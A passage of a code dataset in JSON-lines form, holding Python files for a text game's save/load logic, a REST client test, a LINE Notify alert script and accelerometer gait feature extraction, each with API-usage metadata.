{"api_name": "os.path.join", "line_number": 48, "usage_type": "call"}, {"api_name": "os.path", "line_number": 48, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path", "line_number": 49, "usage_type": "attribute"}, {"api_name": "fabric.operations.put", "line_number": 50, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "fabric.operations.run", "line_number": 58, "usage_type": "call"}, {"api_name": "fabric.operations.run", "line_number": 59, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 62, "usage_type": "call"}, {"api_name": "os.path", "line_number": 62, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 63, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 64, "usage_type": "call"}, {"api_name": "os.path", "line_number": 64, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 65, "usage_type": "call"}, {"api_name": "os.path", "line_number": 65, "usage_type": "attribute"}, {"api_name": "fabric.operations.put", "line_number": 66, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 71, "usage_type": "call"}, {"api_name": "os.path", "line_number": 71, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 72, "usage_type": "call"}, {"api_name": "os.path", "line_number": 72, "usage_type": "attribute"}, {"api_name": "fabric.operations.run", "line_number": 73, "usage_type": "call"}, {"api_name": "fabric.operations.run", "line_number": 74, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 77, "usage_type": "call"}, {"api_name": "os.path", "line_number": 77, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 78, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 79, "usage_type": "call"}, {"api_name": "os.path", "line_number": 79, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 80, "usage_type": "call"}, {"api_name": "os.path", "line_number": 80, "usage_type": "attribute"}, {"api_name": "fabric.operations.put", "line_number": 81, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 86, "usage_type": "call"}, {"api_name": "os.path", "line_number": 86, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 87, "usage_type": "call"}, {"api_name": "os.path", "line_number": 87, "usage_type": "attribute"}, {"api_name": "fabric.operations.run", "line_number": 88, "usage_type": "call"}, {"api_name": "fabric.operations.run", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 92, "usage_type": "call"}, {"api_name": "os.path", "line_number": 92, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 93, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 94, "usage_type": "call"}, {"api_name": "os.path", "line_number": 94, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 95, "usage_type": "call"}, {"api_name": "os.path", "line_number": 95, "usage_type": "attribute"}, {"api_name": "fabric.operations.put", "line_number": 96, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path", "line_number": 98, "usage_type": "attribute"}, {"api_name": "fabric.operations.run", "line_number": 99, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 100, "usage_type": "call"}, {"api_name": "os.path", "line_number": 100, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 101, "usage_type": "call"}, {"api_name": "os.path", "line_number": 101, "usage_type": "attribute"}, {"api_name": "fabric.operations.put", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 107, "usage_type": "call"}, {"api_name": "os.path", "line_number": 107, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 108, "usage_type": "call"}, {"api_name": "os.path", "line_number": 108, "usage_type": "attribute"}, {"api_name": "fabric.operations.run", "line_number": 109, "usage_type": "call"}, {"api_name": "fabric.operations.run", "line_number": 110, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 113, "usage_type": "call"}, {"api_name": "os.path", "line_number": 113, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 114, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 115, "usage_type": "call"}, {"api_name": "os.path", "line_number": 115, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "fabric.operations.put", "line_number": 117, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 123, "usage_type": "call"}, {"api_name": "os.path", "line_number": 123, "usage_type": "attribute"}, {"api_name": "fabric.operations.run", "line_number": 124, "usage_type": "call"}, {"api_name": "fabric.operations.run", "line_number": 125, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 130, "usage_type": "call"}, {"api_name": "os.path", "line_number": 130, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 131, "usage_type": "call"}, {"api_name": "os.path", "line_number": 131, "usage_type": "attribute"}, {"api_name": "fabric.operations.run", "line_number": 132, "usage_type": "call"}, {"api_name": "fabric.operations.run", "line_number": 133, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path", "line_number": 138, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "fabric.operations.run", "line_number": 140, "usage_type": "call"}, {"api_name": "fabric.operations.run", "line_number": 141, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 146, "usage_type": "call"}, {"api_name": "os.path", "line_number": 146, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 147, "usage_type": "call"}, {"api_name": "os.path", "line_number": 147, "usage_type": "attribute"}, {"api_name": "fabric.operations.run", "line_number": 148, "usage_type": "call"}, {"api_name": "fabric.operations.run", "line_number": 149, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 152, "usage_type": "call"}, {"api_name": "os.path", "line_number": 152, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 153, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 154, "usage_type": "call"}, {"api_name": "os.path", "line_number": 154, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 155, "usage_type": "call"}, {"api_name": "os.path", "line_number": 155, "usage_type": "attribute"}, {"api_name": "fabric.operations.put", "line_number": 156, "usage_type": "call"}]}
{"seq_id": "31556136436", "text": "from game_classes import Character, Weapon\nimport json, os\n\n# This will save the players character data (Only to be used for one player it will overwrite all data in the JSON file.) light_damage, _heavy_damage, level, xp\ndef save_character(player):\n    player_stats = {\"Name\": player.name, \"Health\": player.health, \"Race\": player.race, \"Level\": player.level, \"Weapon\": {\"Light\": player.weapon.light_damage, \"Heavy\": player.weapon.heavy_damage, \"Level\": player.weapon.level, \"XP\": player.weapon.xp}}\n    with open(\"player_data.json\", \"w\") as player_data:\n        json.dump(player_stats, player_data)\n\n# This will load the player character data from a JSON file. \ndef get_saved_character():\n    choice = ''\n    character = None\n    if os.path.isfile(\"player_data.json\"):\n        with open(\"player_data.json\", \"r\") as player_data:\n            character = json.load(player_data)\n        \n        while choice != '1' and choice != '3':\n            choice = input(f'Available saved charater: {character[\"Name\"]}, Level {character[\"Level\"]}.\\nPress 1 to play a new game, Press 3 to load this character.')\n    else:\n        choice = '1'\n        print('No saved character data found.\\nStarting a new game.......')\n    return choice, character\n\n# This function will Load a players character and weapon from a dictionary of characters data.\ndef load_character(data):\n    saved_weapon = Weapon(data['Weapon']['Light'], data['Weapon']['Heavy'], data['Weapon']['Level'], data['Weapon']['XP'])\n    saved_player = Character(data['Name'], data['Health'], data['Race'], data['Level'], saved_weapon)\n    return saved_player", "repo_name": "faulknerpearce/terminal_game", "sub_path": "game_data_functions.py", "file_name": "game_data_functions.py", "file_ext": "py", "file_size_in_byte": 1604, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "json.dump", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "json.load", "line_number": 16, "usage_type": "call"}, {"api_name": "game_classes.Weapon", "line_number": 27, "usage_type": "call"}, {"api_name": "game_classes.Character", "line_number": 28, "usage_type": "call"}]}
{"seq_id": "909611857", "text": "from datetime import datetime\n\nfrom ..call_logs import CallLogsCommand\nfrom hamcrest import assert_that\nfrom hamcrest import equal_to\nfrom xivo_lib_rest_client.tests.command import RESTCommandTestCase\n\n\nclass TestCallLogs(RESTCommandTestCase):\n\n    Command = CallLogsCommand\n\n    csvdata = u\"Call Date,Caller,Called,Period,user Field\\r\\n2015-06-29T12:01:00.725871,John (1000),1234567890,0,\\r\\n\"\n\n    def test_list(self):\n        self.session.get.return_value = self.new_response(200, body=self.csvdata)\n\n        result = self.command.list()\n\n        self.session.get.assert_called_once_with(self.base_url,\n                                                 params={},\n                                                 headers={'Accept': 'text/csv'})\n        assert_that(result, equal_to(self.csvdata))\n\n    def test_list_with_dates(self):\n        self.session.get.return_value = self.new_response(200, body=self.csvdata)\n\n        expected_params = {\n            'start_date': '2015-01-01T12:13:14',\n            'end_date': '2015-01-02T12:13:14',\n        }\n\n        self.command.list(start_date=datetime(2015, 1, 1, 12, 13, 14),\n                          end_date=datetime(2015, 1, 2, 12, 13, 14))\n\n        self.session.get.assert_called_once_with(self.base_url,\n                                                 params=expected_params,\n                                                 headers={'Accept': 'text/csv'})\n\n    def test_when_not_200(self):\n        self.session.get.return_value = self.new_response(404)\n\n        self.assertRaisesHTTPError(self.command.list)\n", "repo_name": "gesnaud/xivo-confd-client", "sub_path": "xivo_confd_client/commands/tests/test_call_logs.py", "file_name": "test_call_logs.py", "file_ext": "py", "file_size_in_byte": 1565, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "xivo_lib_rest_client.tests.command.RESTCommandTestCase", "line_number": 9, "usage_type": "name"}, {"api_name": "call_logs.CallLogsCommand", "line_number": 11, "usage_type": "name"}, {"api_name": "hamcrest.assert_that", "line_number": 23, "usage_type": "call"}, {"api_name": "hamcrest.equal_to", "line_number": 23, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 33, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "17863909914", "text": "import config\nimport requests\n\nurlLine = 'https://notify-api.line.me/api/notify'\ntoken = config.LINE_NOTIFY_TOKEN\nheaders = {\n            'content-type':\n            'application/x-www-form-urlencoded',\n            'Authorization':'Bearer '+token\n           }\n\ndef send_alert(msg = 'ทดสอบ'):\n    r = requests.post(urlLine, headers=headers , data = {'message':msg})\n    print(r.text)\n\ndef send_pic(path='',msg ='BUY'):\n    file = {'imageFile':open(path+'.png','rb')}\n    data = ({\n            'message':msg\n        })\n    LINE_HEADERS = {\"Authorization\":\"Bearer \"+token}\n    session = requests.Session()\n    r=session.post(urlLine, headers=LINE_HEADERS, files=file, data=data)\n    print(r.text) \n\n\n", "repo_name": "momo2100/PiBot", "sub_path": "lineNotify.py", "file_name": "lineNotify.py", "file_ext": "py", "file_size_in_byte": 707, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "config.LINE_NOTIFY_TOKEN", "line_number": 5, "usage_type": "attribute"}, {"api_name": "requests.post", "line_number": 13, "usage_type": "call"}, {"api_name": "requests.Session", "line_number": 22, "usage_type": "call"}]}
{"seq_id": "9022189359", "text": "import os\nimport shutil\nimport math\nimport warnings\nimport numpy as np\nimport pandas as pd\nfrom GlobalParameters import DefaultParam\nfrom Preprocess import Utilities\nfrom python_speech_features import sigproc\nfrom FeatureExtraction import ITheoryDomain, WaveletDomain, FrequencyDomain, TimeDomain\nwarnings.filterwarnings(\"ignore\")\n# Overriding the paths\nDefaultParam.DATA_PATH = os.path.join(os.path.dirname(os.getcwd()), 'Storage', 'RawDataGenuine')\nDefaultParam.FEATURE_PATH = os.path.join(os.path.dirname(os.getcwd()), 'Storage', 'FeatureFilesGenuine')\n\nUSER_LIST = os.listdir(DefaultParam.DATA_PATH)\nUSER_LIST = sorted(USER_LIST)\nINVALID_USER_LIST = []\nVALID_USER_LIST = set(USER_LIST) - set(INVALID_USER_LIST)\n# print('Total user in VALID_USER_LIST: ', len(VALID_USER_LIST))\n# Sorting the list of users for the sake of keeping track how many finished\nVALID_USER_LIST = sorted(VALID_USER_LIST)\nprint('VALID_USER_LIST',VALID_USER_LIST)\nfor USER in VALID_USER_LIST:  # For all user\n    # print('Working on ', USER)\n    # Creatin a folder for the current user in thr feature_files location\n    USER_PATH_IN = os.path.join(DefaultParam.DATA_PATH, USER)\n    USER_PATH_OUT = os.path.join(DefaultParam.FEATURE_PATH, USER)\n    if os.path.exists(USER_PATH_OUT):\n        raise FileExistsError(\"The output directory already exists.. delete manually\")\n    else:\n        os.mkdir(USER_PATH_OUT)\n        print(f'###############################Created a new directory!')\n\n    DefaultParam.MODES = ['Training', 'Testing']\n    for MODE in DefaultParam.MODES:  # For training and testing\n        MODE_PATH_IN = os.path.join(DefaultParam.DATA_PATH, USER, MODE)\n        MODE_PATH_OUT = os.path.join(DefaultParam.FEATURE_PATH, USER, MODE)\n        FREQ_PATH = os.path.join(DefaultParam.FEATURE_PATH, USER, MODE, 'FrequencyFeatures')\n        IT_PATH = os.path.join(DefaultParam.FEATURE_PATH, USER, MODE, 'ITheoryFeatures')\n        TIME_PATH = os.path.join(DefaultParam.FEATURE_PATH, USER, MODE, 'TimeFeatures')\n        WAVE_PATH = os.path.join(DefaultParam.FEATURE_PATH, USER, MODE, 'WaveletFeatures')\n        # Create the feature director if it does not exists\n        try:  # Create target Directory\n            os.mkdir(MODE_PATH_OUT)\n            os.mkdir(FREQ_PATH)\n            os.mkdir(IT_PATH)\n            os.mkdir(TIME_PATH)\n            os.mkdir(WAVE_PATH)\n            # print(\"Feature directory created at \" + FREQ_PATH)\n        except FileExistsError:\n            print(\"Directories already exists\")\n        for SENSOR in DefaultParam.SENSOR_FILE_LIST:  # for all sensors\n            CURR_SENSOR_PATH_IN = os.path.join(MODE_PATH_IN, SENSOR)\n            CS_FREQ_PATH = os.path.join(FREQ_PATH, 'feat_' + SENSOR.replace(\".txt\",\".csv\"))\n            CS_IT_PATH = os.path.join(IT_PATH, 'feat_' + SENSOR.replace(\".txt\",\".csv\"))\n            CS_TIME_PATH = os.path.join(TIME_PATH, 'feat_' + SENSOR.replace(\".txt\",\".csv\"))\n            CS_WAVE_PATH = os.path.join(WAVE_PATH, 'feat_' + SENSOR.replace(\".txt\",\".csv\"))\n            # print('CURR_SENSOR_PATH',CURR_SENSOR_PATH_IN)\n\n            # The old data had different sampling rates.. here computing the sampling rate dynamically\n            if USER in DefaultParam.OLD_USER_LIST:\n                RAW_DATA = pd.read_csv(CURR_SENSOR_PATH_IN, sep=',', header=None, names=DefaultParam.OLD_COLUMN_NAMES)\n                samplerate = Utilities.get_sampling_rate(RAW_DATA)\n            else:\n                RAW_DATA = pd.read_csv(CURR_SENSOR_PATH_IN, sep=',', header=None, names=DefaultParam.NEW_COLUMN_NAMES)\n                samplerate = DefaultParam.NEW_SAMPLING_RATE\n            print('sampling rate for ' + CURR_SENSOR_PATH_IN + ': ' + str(samplerate))\n\n            ######################################################################\n            signalX = RAW_DATA['x']\n            signalY = RAW_DATA['y']\n            signalZ = RAW_DATA['z']\n\n            # Sliding window based cutting of the signal\n            framesX = sigproc.framesig(signalX, DefaultParam.WINLENGTH * samplerate, DefaultParam.WINSTEP * samplerate)\n            framesY = sigproc.framesig(signalY, DefaultParam.WINLENGTH * samplerate, DefaultParam.WINSTEP * samplerate)\n            framesZ = sigproc.framesig(signalZ, DefaultParam.WINLENGTH * samplerate, DefaultParam.WINSTEP * samplerate)\n\n            if framesX.shape[1] > 64 and framesX.shape[1] < 128:\n                FFTLENGTH = 128\n            elif framesX.shape[1] > 128 and framesX.shape[1] < 256:\n                FFTLENGTH = 256\n            else:\n                FFTLENGTH = 512\n\n            # The  sigproc.framesig function fills zeroes in the last unavailable points\n            # we dont want that\n            framesX = framesX[:-1, :]\n            framesY = framesY[:-1, :]\n            framesZ = framesZ[:-1, :]\n\n            fmatrix_freq = []\n            fmatrix_itheory = []\n            fmatrix_time = []\n            fmatrix_wavelet = []\n\n            for frameX, frameY, frameZ in zip(framesX, framesY, framesZ):\n                ############SMOOTHING THE DATA BEFORE ANY FEATURE EXTRACTION\n                ############EVEN BEFORE COMPUTATION OF THE M -- ELSE ERROR PROPOGATE\n                # smoothing the signal with 5% of total obtained in every second\n                percent_smooth = 0.05\n                smoothing_span = math.ceil(samplerate * percent_smooth + 1)\n                framesX = Utilities.moving_average(frameX, smoothing_span)\n                framesY = Utilities.moving_average(frameY, smoothing_span)\n                framesZ = Utilities.moving_average(frameZ, smoothing_span)\n\n                frameM = np.sqrt(frameX*frameX + np.multiply(frameY, frameY) + np.multiply(frameZ, frameZ))\n\n                fdnamesX, fdfvectorX = FrequencyDomain.getall_fd_features(frameX, DefaultParam.NUM_BINS_FOR_FFT,\n                                                                          samplerate, DefaultParam.WINLENGTH,\n                                                                          DefaultParam.WINSTEP, FFTLENGTH)\n                fdnamesY, fdfvectorY = FrequencyDomain.getall_fd_features(frameY, DefaultParam.NUM_BINS_FOR_FFT,\n                                                                          samplerate, DefaultParam.WINLENGTH,\n                                                                          DefaultParam.WINSTEP, FFTLENGTH)\n                fdnamesZ, fdfvectorZ = FrequencyDomain.getall_fd_features(frameZ, DefaultParam.NUM_BINS_FOR_FFT,\n                                                                          samplerate, DefaultParam.WINLENGTH,\n                                                                          DefaultParam.WINSTEP, FFTLENGTH)\n                fdnamesM, fdfvectorM = FrequencyDomain.getall_fd_features(frameM, DefaultParam.NUM_BINS_FOR_FFT,\n                                                                          samplerate, DefaultParam.WINLENGTH,\n                                                                          DefaultParam.WINSTEP, FFTLENGTH)\n\n                itdnamesX, itdfvectorX = ITheoryDomain.getall_itd_features(frameX)\n                itdnamesY, itdfvectorY = ITheoryDomain.getall_itd_features(frameY)\n                itdnamesZ, itdfvectorZ = ITheoryDomain.getall_itd_features(frameZ)\n                itdnamesM, itdfvectorM = ITheoryDomain.getall_itd_features(frameM)\n\n                tdnamesX, tdfvectorX = TimeDomain.getall_td_feature(frameX)\n                tdnamesY, tdfvectorY = TimeDomain.getall_td_feature(frameY)\n                tdnamesZ, tdfvectorZ = TimeDomain.getall_td_feature(frameZ)\n                tdnamesM, tdfvectorM = TimeDomain.getall_td_feature(frameM)\n\n                wdfnamesX, wdfvectorX = WaveletDomain.wavelet_features(frameX, DefaultParam.MOTHER_WAVELET,\n                                                                       DefaultParam.WAVEDEC_LEVEL)\n                wdfnamesY, wdfvectorY = WaveletDomain.wavelet_features(frameY, DefaultParam.MOTHER_WAVELET,\n                                                                       DefaultParam.WAVEDEC_LEVEL)\n                wdfnamesZ, wdfvectorZ = WaveletDomain.wavelet_features(frameZ, DefaultParam.MOTHER_WAVELET,\n                                                                       DefaultParam.WAVEDEC_LEVEL)\n                wdfnamesM, wdfvectorM = WaveletDomain.wavelet_features(frameM, DefaultParam.MOTHER_WAVELET,\n                                                                       DefaultParam.WAVEDEC_LEVEL)\n\n                finalfdfvs = fdfvectorX + fdfvectorY + fdfvectorZ + fdfvectorM\n                finalitdfvs = itdfvectorX + itdfvectorY + itdfvectorZ + itdfvectorM\n                finaltdfvs = tdfvectorX + tdfvectorY + tdfvectorZ + tdfvectorM\n                finalwfdfvs = wdfvectorX + wdfvectorY + wdfvectorZ + wdfvectorM\n\n                fmatrix_freq.append(finalfdfvs)\n                fmatrix_itheory.append(finalitdfvs)\n                fmatrix_time.append(finaltdfvs)\n                fmatrix_wavelet.append(finalwfdfvs)\n\n            fdnames = fdnamesX + fdnamesY + fdnamesZ + fdnamesM\n            itdnames = itdnamesX + itdnamesY + itdnamesZ + itdnamesM\n            tdnames = tdnamesX + tdnamesY + tdnamesZ + tdnamesM\n            wdfnames = wdfnamesX + wdfnamesY + wdfnamesZ + wdfnamesM\n            feature_names = fdnames + itdnames + tdnames + wdfnames\n\n            fmatrix_freq = pd.DataFrame(fmatrix_freq, columns=fdnames)\n            fmatrix_itheory = pd.DataFrame(fmatrix_itheory, columns=itdnames)\n            fmatrix_time = pd.DataFrame(fmatrix_time, columns=tdnames)\n            fmatrix_wavelet = pd.DataFrame(fmatrix_wavelet, columns=wdfnames)\n            #\n            # fmatrix_freq.to_csv(CS_FREQ_PATH)\n            # fmatrix_itheory.to_csv(CS_IT_PATH)\n            # fmatrix_time.to_csv(CS_TIME_PATH)\n            # fmatrix_wavelet.to_csv(CS_WAVE_PATH)", "repo_name": "rajeshjnu2006/DictionaryAttackOnIMUGait", "sub_path": "FeatureExtraction/ExtractFromGenuineDataset.py", "file_name": "ExtractFromGenuineDataset.py", "file_ext": "py", "file_size_in_byte": 9822, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "warnings.filterwarnings", "line_number": 11, "usage_type": "call"}, {"api_name": "GlobalParameters.DefaultParam.DATA_PATH", "line_number": 13, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 13, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 13, "usage_type": "call"}, {"api_name": "os.path", "line_number": 13, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 13, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 13, "usage_type": "call"}, {"api_name": "GlobalParameters.DefaultParam.FEATURE_PATH", "line_number": 14, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 14, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 14, "usage_type": "call"}, {"api_name": "os.path", "line_number": 14, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 14, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 14, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 16, "usage_type": "call"}, {"api_name": "GlobalParameters.DefaultParam.DATA_PATH", "line_number": 16, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 16, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 27, "usage_type": "call"}, {"api_name": "os.path", "line_number": 27, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam.DATA_PATH", "line_number": 27, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 27, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 28, "usage_type": "call"}, {"api_name": "os.path", "line_number": 28, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam.FEATURE_PATH", "line_number": 28, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 28, "usage_type": "name"}, {"api_name": "os.path.exists", "line_number": 29, "usage_type": "call"}, {"api_name": "os.path", "line_number": 29, "usage_type": "attribute"}, {"api_name": "os.mkdir", "line_number": 32, "usage_type": "call"}, {"api_name": "GlobalParameters.DefaultParam.MODES", "line_number": 35, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 35, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.MODES", "line_number": 36, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 36, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 37, "usage_type": "call"}, {"api_name": "os.path", "line_number": 37, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam.DATA_PATH", "line_number": 37, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 37, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 38, "usage_type": "call"}, {"api_name": "os.path", "line_number": 38, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam.FEATURE_PATH", "line_number": 38, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 38, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 39, "usage_type": "call"}, {"api_name": "os.path", "line_number": 39, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam.FEATURE_PATH", "line_number": 39, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 39, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 40, "usage_type": "call"}, {"api_name": "os.path", "line_number": 40, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam.FEATURE_PATH", "line_number": 40, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 40, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 41, "usage_type": "call"}, {"api_name": "os.path", "line_number": 41, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam.FEATURE_PATH", "line_number": 41, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 41, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 42, "usage_type": "call"}, {"api_name": "os.path", "line_number": 42, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam.FEATURE_PATH", "line_number": 42, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 42, "usage_type": "name"}, {"api_name": "os.mkdir", "line_number": 45, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 46, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 47, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 48, "usage_type": "call"}, {"api_name": "os.mkdir", "line_number": 49, "usage_type": "call"}, {"api_name": "GlobalParameters.DefaultParam.SENSOR_FILE_LIST", "line_number": 53, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 53, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 54, "usage_type": "call"}, {"api_name": "os.path", "line_number": 54, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 55, "usage_type": "call"}, {"api_name": "os.path", "line_number": 55, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 56, "usage_type": "call"}, {"api_name": "os.path", "line_number": 56, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 57, "usage_type": "call"}, {"api_name": "os.path", "line_number": 57, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 58, "usage_type": "call"}, {"api_name": "os.path", "line_number": 58, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam.OLD_USER_LIST", "line_number": 62, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 62, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 63, "usage_type": "call"}, {"api_name": "GlobalParameters.DefaultParam.OLD_COLUMN_NAMES", "line_number": 63, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 63, "usage_type": "name"}, {"api_name": "Preprocess.Utilities.get_sampling_rate", "line_number": 64, "usage_type": "call"}, {"api_name": "Preprocess.Utilities", "line_number": 64, "usage_type": "name"}, {"api_name": "pandas.read_csv", "line_number": 66, "usage_type": "call"}, {"api_name": "GlobalParameters.DefaultParam.NEW_COLUMN_NAMES", "line_number": 66, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 66, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.NEW_SAMPLING_RATE", "line_number": 67, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 67, "usage_type": "name"}, {"api_name": "python_speech_features.sigproc.framesig", "line_number": 76, "usage_type": "call"}, {"api_name": "python_speech_features.sigproc", "line_number": 76, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WINLENGTH", "line_number": 76, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 76, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WINSTEP", "line_number": 76, "usage_type": "attribute"}, {"api_name": "python_speech_features.sigproc.framesig", "line_number": 77, "usage_type": "call"}, {"api_name": "python_speech_features.sigproc", "line_number": 77, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WINLENGTH", "line_number": 77, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 77, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WINSTEP", "line_number": 77, "usage_type": "attribute"}, {"api_name": "python_speech_features.sigproc.framesig", "line_number": 78, "usage_type": "call"}, {"api_name": "python_speech_features.sigproc", "line_number": 78, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WINLENGTH", "line_number": 78, "usage_type": "attribute"}, {"api_name": "GlobalParameters.DefaultParam", "line_number": 78, "usage_type": "name"}, {"api_name": "GlobalParameters.DefaultParam.WINSTEP", "line_number": 78, "usage_type": "attribute"}, {"api_name": "math.ceil", "line_number": 103, "usage_type": "call"}, {"api_name": "Preprocess.Utilities.moving_average", "line_number": 104, "usage_type": "call"}, {"api_name": "Preprocess.Utilities", "line_number": 104, "usage_type": "name"}, {"api_name": "Preprocess.Utilities.moving_average", "line_number": 105, "usage_type": "call"}, {"api_name": "Preprocess.Utilities", "line_number": 105, "usage_type": "name"}, {"api_name": "Preprocess.Utilities.moving_average", "line_number": 106, "usage_type": "call"}, {"api_name": "Preprocess.Utilities", "line_number": 106, "usage_type": "name"}, {"api_name": "numpy.sqrt", "line_number": 108, "usage_type": "call"}, {"api_name": "numpy.multiply", "line_number": 108, "usage_type": 